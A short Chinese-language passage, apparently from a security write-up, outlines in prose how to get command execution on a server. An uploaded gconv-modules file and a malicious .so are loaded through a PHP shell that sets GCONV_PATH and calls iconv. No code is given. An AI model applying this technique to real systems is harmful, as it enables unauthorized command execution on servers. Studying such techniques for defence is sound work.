调用.so 文件中的 gconv() 和 gonv_init() 函数。

一些其他步骤。

我们的利用方式就是首先在某一文件夹（一般是 /tmp）中上传 gconv-modules 文件，文件中指定我们自定义的字符集文件的.so，然后我们再在.so 文件中的 gonv_init() 函数中书写命令执行函数，之后上传 php 的 shell，内容是使用 php 设定 GCONV_PATH 指向我们的 gconv-modules 文件，然后使用 iconv 函数使我们的恶意代码执行。